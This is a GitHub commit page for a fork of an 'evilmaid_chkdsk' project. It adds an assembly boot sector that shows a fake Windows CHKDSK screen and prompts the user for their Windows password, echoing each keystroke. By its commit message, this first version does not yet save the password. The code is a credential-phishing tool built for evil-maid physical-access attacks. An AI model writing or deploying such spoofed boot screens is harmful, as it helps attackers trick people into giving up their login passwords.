forked from alexwebr/evilmaid_chkdsk
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
first commit, reads chars and prints, no backspace or asterisk suppor…
…t, no writing
- Loading branch information
0 parents
commit 7830258
Showing
1 changed file
with
66 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
[BITS 16] | ||
[ORG 0x7C00] | ||
jmp start | ||
|
||
%macro biosprint 1 ; This macro lets us print a message without manually loading | ||
mov si, %1 | ||
call puts | ||
%endmacro | ||
|
||
puts: ; print string - expects that strings are terminated by a 0, and that SI po | ||
mov al, [si] | ||
cmp BYTE al, 0 | ||
je exit | ||
inc si | ||
call putc | ||
jmp puts | ||
exit: | ||
ret | ||
|
||
putc: ; Print a char to screen | ||
mov ah, 0x0E | ||
mov bh, 0x00 | ||
mov bl, 0x11 | ||
int 0x10 | ||
ret | ||
|
||
sleep: | ||
;mov eax, dword 0xffffffff | ||
mov eax, 200 | ||
top: | ||
cmp eax, 5 | ||
jbe end | ||
dec eax | ||
jmp top | ||
end: | ||
ret | ||
|
||
; Declarations | ||
blank db 13, 10, 0 | ||
checkfs db 'Windows CHKDSK', 13, 10, '==============', 13, 10, 13, 10, 'Checking file system on C:', 0 | ||
ntfs db 13, 10, 'The type of file system is NTFS.', 13, 10, 13, 10, 'One of your disks needs to be checked for consistency. You', 13, 10, 'must complete this disk check before using your computer.', 13, 10, 13, 10, 'Please enter your Windows password to continue: ', 0 | ||
|
||
start: | ||
mov ax, cs | ||
mov ds, ax ; This is because DS has a stupid value when it starts, so we just | ||
xor ax, ax | ||
|
||
biosprint checkfs | ||
call sleep | ||
biosprint ntfs | ||
|
||
readchar: | ||
mov ah, 00h | ||
int 0x16 | ||
cmp al, 13 | ||
je done_password | ||
call putc | ||
jmp readchar | ||
|
||
done_password: | ||
|
||
biosprint checkfs | ||
jmp $ | ||
|
||
times 510 - ($ - $$) db 0 | ||
dw 0xAA55 |